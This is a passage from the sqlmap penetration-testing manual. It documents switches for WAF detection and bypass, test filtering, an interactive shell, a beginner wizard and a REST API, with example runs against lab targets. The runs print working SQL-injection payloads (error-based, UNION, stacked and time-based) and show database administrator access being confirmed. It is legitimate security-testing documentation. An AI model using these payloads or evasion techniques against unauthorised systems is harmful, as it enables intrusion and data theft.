sqlmap by default uses coloring while writting to console. In case of undesired effects (e.g. console appearance of uninterpreted ANSI coloring codes like `\x01\x1b[0;32m\x02[INFO]`) you can disable console output coloring by using this switch.

**Use Google dork results from specified page number**
Option: `--gpage`
Default sqlmap behavior with option `-g` is to do a Google search and use the first 100 resulting URLs for further SQL injection testing. However, in combination with this option you can specify with this option (`--gpage`) a page other than the first one to retrieve target URLs from.

**Use HTTP parameter pollution**
Switch: `--hpp`
HTTP parameter pollution (HPP) is a method for bypassing WAF/IPS/IDS protection mechanisms (explained here) that is particularly effective against ASP/IIS and ASP.NET/IIS platforms. If you suspect that the target is behind such protection, you can try to bypass it by using this switch.

**Make a through testing for a WAF/IPS/IDS protection**
Switch: `--identify-waf`
sqlmap can try to identify backend WAF/IPS/IDS protection (if any) so user could do appropriate steps (e.g. use tamper scripts with `--tamper`). Currently around 30 different products are supported (Airlock, Barracuda WAF, etc.) and their respective WAF scripts can be found inside `waf` directory.
Example against a MySQL target protected by the ModSecurity WAF:
```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]
```
Skip heuristic detection of WAF/IPS/IDS protection
Switch: `--skip-waf`
By default, sqlmap automatically sends inside one of starting requests a dummy parameter value containing a deliberately "suspicious" SQL injection payload (e.g. `...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1`). If target responds differently than for the original request, there is a high possibility that it's under some kind of protection. In case of any problems, user can disable this mechanism by providing switch `--skip-waf`.

**Imitate smartphone**
Switch: `--mobile`
Sometimes web servers expose different interfaces toward mobile phones than to desktop computers. In such cases you can enforce usage of one of predetermined smartphone HTTP User-Agent header values. By using this switch, sqlmap will ask you to pick one of popular smartphones which it will imitate in current run.
Example run:
```
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
```

**Work in offline mode (only use session data)**
Switch: `--offline`
By using switch `--offline` sqlmap will use only previous session data in data enumeration. This basically means that there will be zero connection attempts during such run.

**Safely remove all content from output directory**
Switch `--purge-output`
In case that user decides to safely remove all content from `output` directory, containing all target details from previous sqlmap runs, he can use switch `--purge-output`. While purging, all files from (sub)directories in folder `output` will be overwritten with random data, truncated, renamed to random names, (sub)directories will be renamed to random names too, and finally the whole directory tree will be deleted.
Example run:
```
$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
```

**Conduct through tests only if positive heuristic(s)**
Switch `--smart`
There are cases when user has a large list of potential target URLs (e.g. provided with option `-m`) and he wants to find a vulnerable target as fast as possible. If switch `--smart` is used, only parameters with which DBMS error(s) can be provoked, are being used further in scans. Otherwise they are skipped.
Example against a MySQL target:
```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
```

```
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]
```

**Select (or skip) tests by payloads and/or titles**

Option `--test-filter`

In case that you want to filter tests by their payloads and/or titles you can use this option. For example, if you want to test all payloads which have `ROW` keyword inside, you can use `--test-filter=ROW`.

Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY
x)
---
[...]
```

Option `--test-skip=TEST`

In case that you want to skip tests by their payloads and/or titles you can use this option. For example, if you want to skip all payloads which have `BENCHMARK` keyword inside, you can use `--test-skip=BENCHMARK`.

**Interactive sqlmap shell**

Switch: `--sqlmap-shell`

By using switch `--sqlmap-shell` user will be presented with the interactive sqlmap shell which has the history of all previous runs with used options and/or switches:

```
$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
```

```
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql'
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> exit
```

**Simple wizard interface for beginner users**

Switch: `--wizard`

For beginner users there is a wizard interface which uses a simple workflow with as little questions as possible. If user just enters target URL and uses default answers (e.g. by pressing `Enter`) he should have a properly set sqlmap run environment by the end of the workflow.

Example against a Microsoft SQL Server target:

```
$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)--

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
    Oct 14 2005 00:33:37
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52
```

**API (REST-JSON)**

sqlmap can be run through the REST-JSON API, API (abbr. for Application Program Interface) that uses JSON for REST (abbr. for REpresentational State Transfer) communication between server and client instance(s). In plainspeak, server runs the sqlmap scan(s), while clients are setting the sqlmap options/switches and pull the results back. Main program file for running the API is `sqlmapapi.py`, while the client can also be implemented inside the arbitrary user program.

```
$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")
```

Server runs the `sqlmapapi.py` by using switch `-s`, client by using switch `-c`, while in both cases user can (optionally) set listening IP address with option `-H` (default `"127.0.0.1"`) and listening port with option `-p` (default 8775). Each client's "session" can have multiple "tasks" (i.e. sqlmap scan runs), where user can arbitrary choose which task should be currently active.

Inside the client's command line interface available commands are:

- `help` - showing list of available commands along with basic help information
- `new ARGS` - starts a new scan task with provided arguments (e.g. `new -u "http://testphp.vulnweb.com/artists.php?artist=1"`)
- `use TASKID` - switches current context to different task (e.g. `use c04d8c5c7582efb4`)
- `data` - retrieves and shows data for current task
- `log`- retrieves and shows log for current task
- `status` - retrieves and shows status for current task
- `stop` - stops current task
- `kill` - kills current task
- `list` - displays all tasks (for current session)
- `flush` - flushes (i.e. deletes) all tasks
- `exit` - exits the client interface

Example server run:

```
$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages
```

Example client run:

```
$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running",
    "returncode": null,
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated",
    "returncode": 0,
    "success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "testing connection to the target URL",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS/IDS",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "testing if the target URL is stable",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "target URL is stable",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "testing if GET parameter 'artist' is dynamic",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "confirming that GET parameter 'artist' is dynamic",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "GET parameter 'artist' is dynamic",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "testing for SQL injection on GET parameter 'artist'",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL inline queries'",
            "level": "INFO",
